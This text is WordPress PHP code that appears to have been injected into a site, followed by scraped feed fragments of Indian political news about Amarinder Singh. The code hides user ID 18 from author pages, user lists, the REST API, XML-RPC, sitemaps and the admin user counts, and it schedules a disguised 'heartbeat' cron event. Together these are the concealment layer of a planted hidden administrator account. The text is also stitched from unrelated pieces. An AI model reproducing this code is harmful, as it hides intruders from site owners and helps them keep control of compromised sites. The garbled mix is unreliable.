add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post ‘They Are Hyenas, Once Sat at Amarinder’s Feet’: Aroosa Alam Slams Cheap Politics, to Take Legal Aid appeared first on The Edge Media.
]]>
Sukhjinder Singh Randhawa, Punjab’s Deputy Chief Minister, announced last week that Alam’s alleged ISI ties would be investigated. Captain Amarinder retaliated, saying Alam had been “coming for 16 years with necessary GoI permissions” in tweets issued on his behalf by his media adviser Raveen Thukral.
The post ‘They Are Hyenas, Once Sat at Amarinder’s Feet’: Aroosa Alam Slams Cheap Politics, to Take Legal Aid appeared first on The Edge Media.
]]>The post ‘Proximity with Amit Shah’: Amarinder Singh’s secular credentials are questioned by the Congress; the former Punjab chief minister responds. appeared first on The Edge Media.
]]>Denying Amarinder’s charge of being humiliated by the Congress, Rawat said “It appears from Captain’s recent statements that he is under some sort of pressure. He should rethink, and not help BJP directly or indirectly.”
The post ‘Proximity with Amit Shah’: Amarinder Singh’s secular credentials are questioned by the Congress; the former Punjab chief minister responds. appeared first on The Edge Media.
]]>The post Harish Rawat warns Amarinder Singh not to “assist BJP” as he declares he’s “leaving” Congress appeared first on The Edge Media.
]]>Rawat denied that Singh had been shunned by the Congress, saying that the former Punjab chief minister’s recent utterances sounded as if he was under “some pressure.” ANI quoted Rawat as saying that “No facts in reports that state Captain Amarinder Singh was insulted by Congress. It appears from Captain’s recent statements that he is under some sort of pressure. He should rethink, and not help BJP directly or indirectly.”
The post Harish Rawat warns Amarinder Singh not to “assist BJP” as he declares he’s “leaving” Congress appeared first on The Edge Media.
]]>The post Punjab Chief Minister Amarinder Singh Blasts Sidhu’s Advisers for Recent remarks about Kashmir and Pakistan as Atrocious, Ill-Conceived, and Against India’s Interests. appeared first on The Edge Media.
]]>Captain Amarinder advised Sidhu’s advisers to keep giving counsel to the PPCC president and not talk on subjects about which they plainly had little or no knowledge and had no comprehension of the repercussions of their comments, according to a news release released by the Chief Minister’s Office.
This was in response to Sidhu’s adviser Pyare Lal Garg’s recent questioning of the chief minister’s condemnation of Pakistan and another Sidhu aide, Malwinder Singh Mali’s earlier comments on Kashmir. Both have lately been recruited as advisers by Sidhu.
The post Punjab Chief Minister Amarinder Singh Blasts Sidhu’s Advisers for Recent remarks about Kashmir and Pakistan as Atrocious, Ill-Conceived, and Against India’s Interests. appeared first on The Edge Media.
]]>